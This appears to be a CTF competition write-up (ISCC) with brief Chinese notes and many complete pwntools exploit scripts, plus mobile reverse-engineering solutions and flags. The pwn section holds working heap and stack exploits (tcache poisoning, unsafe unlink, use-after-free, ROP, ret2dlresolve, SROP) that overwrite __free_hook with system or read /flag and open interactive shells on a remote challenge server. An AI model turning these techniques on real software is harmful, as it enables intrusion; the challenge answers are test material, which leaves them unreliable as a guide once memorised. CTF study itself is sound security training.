sla(b'?!\n', str(idx))
sleep(0.5)
sl(data)
# leak heap_addr
add(3)
add(4)
free(4)
edit(4, p64(0))
free(4)
show(4)
heap_addr = u32(p.recv(4))
ptr_heap = heap_addr - 0x1048 + 0x8
# leak libc_base
edit(4, p32(ptr_heap))
add(5)
add(6)
free(6)
show(6)
p.recv(4)
libc_base = u32(p.recv(4)) - 56 - 0x8 - 0x10 - libc.sym['__malloc_hook']
# free_hook -> system
free_hook = libc_base + libc.sym['__free_hook']
system, binsh = get_sb()
free(3)
edit(3, p64(0))
free(3)
edit(3, p32(free_hook))
add(7)
add(8)
edit(8, p32(system))
# pwn
edit(7, b'sh;\x00')
free(7)
inter()
print(' free_hook -> ', hex(free_hook))
print(' libc_base -> ', hex(libc_base))
print(' ptr_heap -> ', hex(ptr_heap))
print(' heap_addr -> ', hex(heap_addr))
#debug()
第二识势
from pwn import *
context.log_level = 'debug'
context.arch="amd64"
#io=process("./attachment-34")
io=remote("59.110.164.72",10025)
elf=ELF("./attachment-34")
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
#libc=elf.libc
libc=ELF("./libc.so.6")
#gdb.attach(io)
sl(b"6\x00666666666666666666666")
ru("materials\n")
leak_addr=int(io.recv(8))
heap_addr=leak_addr-0x13+0x20
print(hex(heap_addr))
sl(str(0xfffffffffff))
target=0x6012Af
sl(str(target-heap_addr-0x20))
pause()
s(b'a'*0xf+b'\x61')
#b *0x400B39
addr=0x4008a7
bsf=0x6012A0
leave_ret=0x400944
rdi=0x400bd3
ret=0x4006e6
magic_gadget_addr=0x400888
csu_low=0x400BCa
one_gadget=0xf1247
def set_to(addr,data):
pd = flat([
csu_low,
data,
addr + 0x3d,
0, 0, 0, 0,
magic_gadget_addr
])
return pd
payload=set_to(0x601250,one_gadget-libc.sym['setvbuf'])+p64(elf.plt['setvbuf'])
print(len(payload))
payload=payload.ljust(0x80,b'\x00')+p64(bsf-8)+p64(leave_ret)
pause()
sl(payload)
print(hex(libc.sym['setvbuf']))
shell()
第一用笔-1
- 分析
用 checksec 工具分析程序
再用 ida 看源码
存在一个栈溢出很大的函数可以利用
可以用 main 的 fun_2 函数栈溢出来调用那个更大的栈溢出函数来布置栈帧,还要泄露
地址来计算基砋来调用 libc 的 system 函数
2. exp
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *
import struct
import os
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./usage_of_pen")
libc = ELF("./libc.so.6")
DEBUG = 0
pop_rdi = 0x0000000000400c53
def exp(p):
p.recvuntil(b"and 40 to 47 is 'nvfeng00'!\n")
payload = b""
payload += b"dunbi000"
payload += b"cuobi".ljust(8, b"0")
payload += b"yufeng".ljust(8, b"0")
payload += b"dunfeng".ljust(8, b"0")
payload += b"cunfeng".ljust(8, b"0")
payload += b"nvfeng00"
payload += b"yuefeng".ljust(8, b"0")
payload += b"anfeng".ljust(8, b"0")
payload += b"jiebi".ljust(8, b"0")
p.send(payload)
p.recvuntil("or you can look for other space\n")
payload = b"a"*0x28 + p64(0x400B0F)
p.send(payload)
payload = b"a"*0x28 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) +
p64(0x400B0F)
# pause()
sleep(0.5)
p.send(payload)
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc.address = puts_addr - 0x6f6a0
payload = b"a"*0x28 + p64(pop_rdi) + p64(libc.search(b"/bin/sh").__next__()) +
p64(libc.sym["system"])
# pause()
sleep(0.5)
p.send(payload)
p.interactive()
def main():
if DEBUG:
p = process("./usage_of_pen")
gdb.attach(p, "source ./.gdbinit")
exp(p)
else:
p = remote("59.110.164.72", 10002)
exp(p)
if __name__ == "__main__":
main()
Your_character
- 分析
用 checksec 工具分析程序
再用 ida 看源码,是堆相关的漏洞
- exp
from pwn import *
import struct
import os
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./your_character")
libc = ELF("./libc-2.23.so")
DEBUG = 0
bss_addr = 0x6021C0
def exp(p):
def design():
p.recvuntil("Your choice :")
p.sendline("1")
def background(context):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Please enter the background story of your character: \n")
p.send(context)
def character(idx, content):
p.recvuntil("Your choice :")
p.sendline("3")
def create(damage, introduction):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Damage of skill : ")
p.send(str(damage))
p.recvuntil("introduction of skill:")
p.send(introduction)
def edit_damage(idx, damage):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.send(str(idx))
p.recvuntil("Damage of skill : ")
p.send(str(damage))
def edit_intro(idx, introduction):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.send(str(idx))
p.recvuntil("introduction of skill : ")
p.send(introduction)
def show(idx):
p.recvuntil("Your choice :")
p.sendline("4")
p.recvuntil("Index :")
p.send(str(idx))
def delete(idx):
p.recvuntil("Your choice :")
p.sendline("5")
p.recvuntil("Index :")
p.send(str(idx))
def back():
p.recvuntil("Your choice :")
p.sendline("6")
design()
create(0x18, b"aaa")#0
create(0x18, b"aaa")#1
create(0x18, b"/bin/sh\x00")#2
payload = b"\x01"*0x18 + b"\x41"
edit_intro(0, payload)
delete(1)
payload = b'a' * 0x10 + p64(0) + p64(0x21) + p64(0x100) + p64(elf.got['free'])
create(0x38, payload)
show(1)
free_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc.address = free_addr - 0x84540
info("libc.address----->"+hex(libc.address))
edit_intro(1, p64(libc.sym["system"]))
delete(2)
p.interactive()
def main():
if DEBUG:
p = process("./your_character")
gdb.attach(p, "source ./.gdbinit")
exp(p)
else:
p = remote("59.110.164.72", 10003)
exp(p)
if __name__ == "__main__":
main()
困局
下载附件分析,发现main会调用两次func_key,func_key里有格式化字符串漏洞, func_1有一个足够长的溢出。
写exp:
libc_base=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
# 0x000000000002601f : pop rsi ; ret
pop_rsi = libc_base + 0x00000000000202f8
# 0x0000000000142c92 : pop rdx ; ret
pop_rdx = libc_base + 0x0000000000001b92
print(hex(libc_base))
can=int(p.recv(18),16)
print(hex(can))
stack=int(p.recv(14),16)-128+48+8
print(hex(stack))
p.recvuntil("This is a larger box\n")
pay=b'%9$p'
p.send(pay)
p.recvuntil("We have a lot to talk about\n")
payload=b'a'*(0x30-0x8)+p64(can)+p64(stack+0x10-8)+p64(leave_ret)
payload += b"/flag\x00\x00\x00" #
payload += p64(pop_rdi)
payload += p64(stack+8)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(open_addr)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(0x601060+0x100)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(read_addr)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(0x601060+0x100)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(write_addr)
#bug()
p.send(payload)
p.interactive()
Eat_num
下载附件分析,有溢出漏洞,利用做题模板写脚本,运行得到flag。
exp如下:
from roputils import *
fpath = './attachment-38'
offset = 72
rop = ROP(fpath)
addr_bss = rop.section('.bss')
buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
p = Proc(host='59.110.164.72',port=10067)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)
p.write(buf)
p.interact(0)
SIMS
分析主函数,是一道有UAF的堆漏洞题目,用做题模板写脚本得到flag。
exp:
from pwn import*
context.arch="amd64"
#context.arch="i386"
context.os="linux"
context.log_level="debug"
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
io=1
if io==0:
p=process('./pwn')
else:
p=remote('59.110.164.72',10085)
def dbg():
gdb.attach(p)
pause()
p.sendlineafter(b'welcome~ please input the password:\n',str(2118602923))
def add(size):
p.sendlineafter(b'please choose one!\n',b'1')
p.sendlineafter(b'Age of Stu:\n',str(size))
def dele(id):
p.sendlineafter(b'please choose one!\n',b'2')
p.sendlineafter(b'Index:\n',str(id))
def edit(id,pay):
p.sendlineafter(b'please choose one!\n',b'3')
p.sendlineafter(b'Index:\n',str(id))
p.sendlineafter(b'Content of Stu:\n',pay)
def show(id):
p.sendlineafter(b'please choose one!\n',b'4')
p.sendlineafter(b'Index:\n',str(id))
add(0x38)
add(0x450)
add(0x10)
dele(1)
show(1)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x60-0x3EBC40
add(0x450)
heaparray=0x602160
fd=heaparray-0x18
bk=heaparray-0x10
pay=p64(0)+p64(0x31)+p64(fd)+p64(bk)+p64(0)*2+p64(0x30)+p64(0x460)
edit(0,pay)
dele(1)
edit(0,p64(0)*3+p64(libc_base+libc.sym['__free_hook']))
edit(0,p64(libc_base+libc.sym['system']))
edit(2,b'/bin/sh\x00')
dele(2)
success('libc_base-->'+str(hex(libc_base)))
# dbg()
p.interactive()
ezheap
查看主函数,有堆漏洞
在bk指针处写 个地址,然后再用unsort时会在那个地址上写个堆地址.这样就达到后门条件了,利用后门写exp得到flag
exp如下:
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a,b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('59.110.164.72', 10005)
elf = ELF('./pwn35')
libc = ELF('libc-2.23.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,size):
sla("input your choice : ",b'1')
sla("input idx plz : ",str(idx))
sla("input size plz : ",str(size))
def delete(idx):
sla("input your choice : ",b'2')
sla("input idx plz : ",str(idx))
def edit(idx,content):
sla("input your choice : ",b'4')
sla("input idx plz : ",str(idx))
sla("input content plz : ",content)
add(0,0x138)
add(1,0x108)
add(2,0x108)
delete(0)
addr=0x6029a8
edit(0,b'a'*8+p64(addr))
add(0,0x138)
p.sendline(b'5')
sleep(1)
p.sendline(b'a'*0x18+p64(0x4009aa))
p.interactive()
ezuheap
题目给出了gift异或得到加载地址,然后show指针前溢出得到stdout的地址
exp如下:
from pwn import *
context.log_level = 'debug'
#io=process("./uheap")
io=remote("59.110.164.72",10006)
elf=ELF("./uheap")
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
#libc=elf.libc
libc=ELF("./libc-2.27.so")
def add(idx,length):
sla("choice:",b'1')
sla("Index:",str(idx))
sla("len:",str(length))
def delete(idx):
sla("choice:",b'2')
sla("Index:",str(idx))
def edit(idx,content):
sla("choice:",b'3')
sla("Index:",str(idx))
sl(content)
def show(idx):
sla("choice:",b'4')
sla("Index:",str(idx))
#gdb.attach(io)
sl(b'/bin/sh\x00')
pause()
sl(b'365303148')
ru("first gift: 0x")
first_gift=int(rx(12),16)
ru("second gift: 0x")
second_gift=int(rx(8),16)^first_gift
first_gift^=0x15C6156C
print(hex(first_gift))
print(hex(second_gift))
ptr=second_gift-0x30+0x8
add(0,0x88)
add(1,0x88)
add(2,0x88)
add(3,0x88)
add(4,0x88)
add(5,0x88)
add(0,0x88)
for i in range (7):
delete(2)
edit(2,b'aaaaaaaaaaaa')
delete(2)
show(2)
leak_addr=uu64()
main_arena=leak_addr-96
malloc_hook=main_arena-0x10
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
free_hook=libc_base+libc.sym['__free_hook']
print(hex(libc_base))
delete(5)
edit(2,b'a'*0x80+p64(0x110))
edit(1,(p64(0)+p64(0x111)+p64(ptr-0x18)+p64(ptr-0x10)))
delete(3)
print(hex(ptr))
edit(1,b'a'*0x18+p64(free_hook))
edit(1,p64(libc_base+libc.sym['system']))
edit(5,b'/bin/sh\x00')
print(hex(free_hook))
delete(5)
shell()
babyheap
查看主函数有UAF后门,利用这个UAF造重叠块,最后一点点把payload写到free_hook。
exp如下:
from pwn import *
context(arch='amd64', log_level='error')
#p = process('./pwn')
p = remote('59.110.164.72', 10030)
libc = ELF('./libc.so.6')
menu = b"plz input choice: "
def add(msg):
p.sendlineafter(menu, b'1')
p.sendafter(b"plz input content: ", msg)
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"plz input idx: ", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"plz input idx: ", str(idx).encode())
def free2(idx): # UAF
p.sendlineafter(menu, b'2023')
p.sendlineafter(b"plz input idx: ", str(idx).encode())
for i in range(0x10):
add(b'A')
for i in [6,7,8,9,10,11,12,13,14,15]:
free(i)
free(5)
free2(0)
show(0)
heap = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x190
print(f"{heap = :x}")
free(4)
free(0)
for i in [6,7,8,9,10,11,12]:
add(b'B')
add(p64(heap+0x50)+ p64(0)*6 + p64(0x51))
add(b'C')
add(b'C')
add(flat(0x101, 0x461))
free(1)
add(b'AAA')
show(2)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
free_hook = libc.sym['__free_hook']
_environ = libc.sym['_environ']
setcontext = libc.sym['setcontext']
syscall = next(libc.search(asm("syscall; ret")))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
pop_rsi = next(libc.search(asm("pop rsi; ret")))
pop_rdx_r12 = next(libc.search(asm("pop rdx; pop r12; ret")))
pop_rax = next(libc.search(asm("pop rax; ret")))
jmp_rsp = next(libc.search(asm("jmp rsp")))
#gadget
gadget_addr= libc.address + 0x0000000000151990
'''
.text:0000000000151990 48 8B 57 08 mov rdx, [rdi+8]
.text:0000000000151994 48 89 04 24 mov [rsp+0C8h+var_C8], rax
.text:0000000000151998 FF 52 20 call qword ptr [rdx+20h]
'''
#orw
fake_frame_addr = free_hook + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1 # : ret
rop_data = [
libc.sym['open'],
pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc.sym['read'],
pop_rdi,fake_frame_addr + 0x200,libc.sym['puts']
]
frame_data = flat(frame).ljust(0xf8, b'\x00')
payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'/flag'.ljust(8, b'\x00'),0)+flat(rop_data)
print('len(payload)', hex(len(payload[0xf8:])))
#save payload to __free_hook
offset = 0
offset += 0x40
free(7)
free(1)
free(13)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(12)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(11)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(10)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(9)
free(7)
free(1)
add(flat(0,0x51, free_hook + offset, heap-0xa50))
add(b'A')
add(payload[offset: offset+0x40])
offset += 0x40
free(8)
free(7)
free(1)
add(flat(0,0x51, free_hook , heap-0xa50))
add(b'A')
add(payload[0: 0x40])
free(8)
context.log_level = 'debug'
p.recvline()
p.recvline()
p.recvline()
p.interactive()
Crazy_heap
下载题目附件,查看主函数,有堆相关的漏洞,利用模板写解题脚本。
exp如下:
from pwn import *
context.arch="amd64"
context.log_level = 'debug'
p=remote("59.110.164.72",10032)
elf=ELF("./my_heap")
libc=ELF("./libc-2.23.so")
def add(a,b):
p.sendlineafter("choice:",b'1')
p.sendlineafter("length:",str(a))
p.sendlineafter("name:",b)
p.sendlineafter("girl\n",b"1")
def edit1(a,b):
p.sendlineafter("choice:",b'2')
p.sendlineafter("number:",str(a))
p.sendlineafter("(by rename T_T)\n",b"1")
p.sendlineafter("name:",b)
def edit2(a,b):
p.sendlineafter("choice:",b'2')
p.sendlineafter("number:",str(a))
p.sendlineafter("(by rename T_T)\n",b"0")
p.sendlineafter("sex:",str(b))
def show(a):
p.sendlineafter("choice:",b'3')
p.sendlineafter("number:",str(a))
def delete(a):
p.sendlineafter("choice:",b'4')
p.sendlineafter("number:",str(a))
add(0x88,b'')
add(0x88,b'')
delete(0)
show(0)
leak_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
main_arena=leak_addr-88
malloc_hook=main_arena-0x10
libc_base=malloc_hook-libc.symbols["__malloc_hook"]
heap_addr=0x000404050
payload=p64(0)
payload+=p64(0x2c1)
payload+=p64(heap_addr-0x18)
payload+=p64(heap_addr-0x10)
add(0x88,b'aaaa')
add(0xd8,payload)
add(0x88,b'aaaa')
add(0x88,b'aaaa')
add(0x88,b'/bin/sh\x00')
delete(3)
edit2(3,1)
delete(4)
payload=b'a'*0x18
payload+=p64(libc_base+libc.sym['__free_hook'])
edit1(2,payload)
edit1(2,p64(libc_base+libc.sym['system']))
delete(5)
p.interactive()
mobile
NOJAVA
用Jeb打开附件,查找MainActivy函数
脚本如下:
text='iZeejfYefjYZeeYijYjfjijj'
binary = ''.join(format(ord(i), '08b') for i in text)
a = [binary[i:i+4] for i in range(0, len(binary), 4)]
# print(a)
payload=""
for i in a:
if i=="1001":
payload+="10"
elif i=="0110":
payload+="01"
elif i=="1010":
payload+="11"
elif i=="0101":
payload+="00"
else:
print("waaa")
result = ''.join(chr(int(payload[i:i+8], 2)) for i in range(0, len(payload), 8))
print('ISCC{'+result+'}')
运行得到flag
WhereisHint
sBox.txt 文件内容如下:
0E000000040000000D00000001000000020000000F0000000B000000080000000300000
00A000000060000000C00000005000000090000000000000007000000000000000F0000
0007000000040000000E000000020000000D000000010000000A000000060000000C000
0000B0000000900000005000000030000000800000004000000010000000E0000000800
00000D00000006000000020000000B0000000F0000000C0000000900000007000000030
000000A00000005000000000000000F0000000C00000008000000020000000400000009
0000000100000007000000050000000B000000030000000E0000000A000000000000000
60000000D0000000F00000001000000080000000E000000060000000B00000003000000
040000000900000007000000020000000D0000000C00000000000000050000000A00000
0030000000D00000004000000070000000F00000002000000080000000E0000000C0000
0000000000010000000A00000006000000090000000B00000005000000000000000E000
000070000000B0000000A000000040000000D0000000100000005000000080000000C00
0000060000000900000003000000020000000F0000000D000000080000000A000000010
00000030000000F00000004000000020000000B00000006000000070000000C00000000
000000050000000E000000090000000A00000000000000090000000E000000060000000
30000000F00000005000000010000000D0000000C000000070000000B00000004000000
02000000080000000D00000007000000000000000900000003000000040000000600000
00A0000000200000008000000050000000E0000000C0000000B0000000F000000010000
000D000000060000000400000009000000080000000F00000003000000000000000B000
00001000000020000000C000000050000000A0000000E00000007000000010000000A00
00000D0000000000000006000000090000000800000007000000040000000F0000000E0
00000030000000B00000005000000020000000C000000070000000D0000000E00000003
0000000000000006000000090000000A000000010000000200000008000000050000000
B0000000C000000040000000F0000000D000000080000000B0000000500000006000000
0F00000000000000030000000400000007000000020000000C000000010000000A00000
00E000000090000000A0000000600000009000000000000000C0000000B000000070000
000D0000000F00000001000000030000000E00000005000000020000000800000004000
000030000000F00000000000000060000000A000000010000000D000000080000000900
000004000000050000000B0000000C00000007000000020000000E000000020000000C0
000000400000001000000070000000A0000000B00000006000000080000000500000003
0000000F0000000D000000000000000E000000090000000E0000000B000000020000000
C00000004000000070000000D0000000100000005000000000000000F0000000A000000
030000000900000008000000060000000400000002000000010000000B0000000A00000
00D00000007000000080000000F000000090000000C0000000500000006000000030000
00000000000E0000000B000000080000000C00000007000000010000000E00000002000
0000D000000060000000F00000000000000090000000A00000004000000050000000300
00000C000000010000000A0000000F00000009000000020000000600000008000000000
000000D00000003000000040000000E00000007000000050000000B0000000A0000000F
0000000400000002000000070000000C000000090000000500000006000000010000000
D0000000E000000000000000B0000000300000008000000090000000E0000000F000000
0500000002000000080000000C000000030000000700000000000000040000000A00000
0010000000D0000000B000000060000000400000003000000020000000C000000090000
00050000000F0000000A0000000B0000000E00000001000000070000000600000000000
000080000000D000000040000000B000000020000000E0000000F000000000000000800
00000D000000030000000C0000000900000007000000050000000A00000006000000010
000000D000000000000000B000000070000000400000009000000010000000A0000000E
00000003000000050000000C000000020000000F0000000800000006000000010000000
40000000B0000000D0000000C00000003000000070000000E0000000A0000000F000000
060000000800000000000000050000000900000002000000060000000B0000000D00000
00800000001000000040000000A000000070000000900000005000000000000000F0000
000E00000002000000030000000C0000000D00000002000000080000000400000006000
0000F0000000B000000010000000A00000009000000030000000E000000050000000000
00000C00000007000000010000000F0000000D000000080000000A00000003000000070
00000040000000C00000005000000060000000B000000000000000E0000000900000002
000000070000000B0000000400000001000000090000000C0000000E000000020000000
0000000060000000A0000000D0000000F00000003000000050000000800000002000000
010000000E00000007000000040000000A000000080000000D0000000F0000000C00000
009000000000000000300000005000000060000000B0000001000000007000000140000
00150000001D0000000C0000001C00000011000000010000000F000000170000001A000
00005000000120000001F0000000A0000000200000008000000180000000E0000002000
00001B0000000300000009000000130000000D0000001E00000006000000160000000B0
000000400000019000000
用jeb打开附件,分析函数,在其中找到了二进制数据,写python脚本并利用软件爆出flag
ManyJNI
用jeb打开附件,查找MainActivy函数
解密
dic = {"1463495029.1088610877": "+", "1049530879.4255690777": "#",
"2862766292.2381007417": "$",
"3330444070.1174262214": ",", "2227920669.2827401366": "_",
"1579951362.2846238576": "8", "368955456.3265704134": "T",
"2696190145.613662970": "(", "3872134833.1068749546": "m", "891426205.2766473378":
"/", "1519023352.105877999": "j",
"2477809142.443877620": "[", "2647754101.2230120467": "`", "3075111042.1323776342":
"i", "986806734.2777299023": ".",
"3896053831.4135235691": "?", "1184712308.807098365": "I", "4075828588.429489377":
"M", "2429787593.619384622": "l",
"881206442.1709247634": "]", "1083538065.1130340170": "a", "4023341693.1586698450":
"6", "155280819.3054501475": "W",
"99771100.1051999332": "9", "4232898851.3300692563": ")", "64956337.4234499210":
"1", "2870232400.3722498303": "\\",
"2841218066.780431097": "e", "132800239.3878689771": "w", "2156232310.2823971181":
"k", "1808290711.212509551": "7",
"696150085.2220172189": "p", "3713618273.3259647236": "q", "3121040253.2415880190":
"u", "2858698525.3991735450": "z",
"2547227671.698153515": ";", "654785657.4006927810": "n", "3711461495.3008240604":
"<", "3581263639.1952078211": "f",
"3164894139.2581098102": "y", "3160675335.657981347": "x", "1158103192.2450550443":
"~", "1236282010.4060431406": "A",
"4027068562.440012179": "c", "351048083.1823512614": "o", "1462318326.3226159060":
"C", "2954653653.1618611175": "P",
"701073028.312955233": "%", "666315003.3369729975": "4", "2853626980.607086523":
"=", "19734539.2637167118": "@",
"4120373985.112157582": "J", "2302105109.2843567652": "L", "1392500071.2693188089":
"^", "709910699.3712210805": "s",
"3113384841.1999610280": ":", "1964704696.30454558": "X", "3016651642.1304626590":
"E", "924745076.1085575287": "3",
"1979386605.348865528": "*", "3283987997.1614515444": "\"", "3248176867.998559740":
"Y", "2460099397.287946231": "r",
"933728663.4036345491": "D", "870221498.4165280671": "F", "700813972.3680578651":
"!", "2666170697.1050538432": "G",
"3735675442.4106461569": "Q", "3944223761.1040972928": "S", "406509623.2197974953":
"-", "166914849.75133536": "2",
"1971216652.4016620168": "B", "3126027666.2407112104": "'", "2421050068.877129437":
"h", "2694837670.239856188": "v",
"4259959222.1144992995": "}", "1986798057.4141497725": "0", "734889408.680957602":
"t", "3747360752.949414639": ">",
"4099300672.1926520061": "V", "2965350987.46203785": "K", "428936951.1911408410":
"d", "1336447878.2775388247": "b",
"4097885373.4018178710": "&", "1935593237.368431450": "Z", "529156133.278213883":
"N", "2381012008.4088810995": "R",
"385403258.710806366": "g", "4273244629.3478477188": "H", "1802901715.704799359":
"|", "930008935.2627182413": "5",
"4018804880.2724391126": "O", "4067852839.2777358486": "U",
"1615466436.2634553015": "{"}
part1 =
".1579951362.1979386605.2696190145.700813972.891426205.2381012008.4232898851.3248176867.19
734539.1236282010.529156133.4075828588"[1:].split(".")
part2 =
".2846238576.348865528.613662970.3680578651.2766473378.4088810995.3300692563.998559740.263
7167118.4060431406.278213883.429489377"[1:].split(".")
flag = ''
for a, b in zip(part1, part2):
flag += dic[f"{a}.{b}"]
if flag[-3:] == 'ANM':
print(f"ISCC{flag[:-3]}")
else:
print("检查 part1 和 part2 是否正确!")
执行就可以获取到flag了
ManyMany
解压附件,改为zip格式,进入lib/arm64-v8a文件夹,用ida打开,搜索stub函数,查找相应字符,利用python脚本爆出flag
MobileTest
用jeb打开分析函数
把so文件拖进ida里,在这里下断点动态调试,即可得到key
在jeb里面找到AES的密文,AES解密即可得到flag
Whereisflag
用ida打开附件,根据提示RC4,md5,在ida里面查找到了一段md5密文,去在线网站上解密得到了flag的一部分
分析so文件,在此处下断点动态调试,即可获得flag的第二部分
flag2=128215131d0dd4119e60
最终flag为:ISCC{YOU_LIKE_128215131d0dd4119e60}
更多推荐
所有评论(0)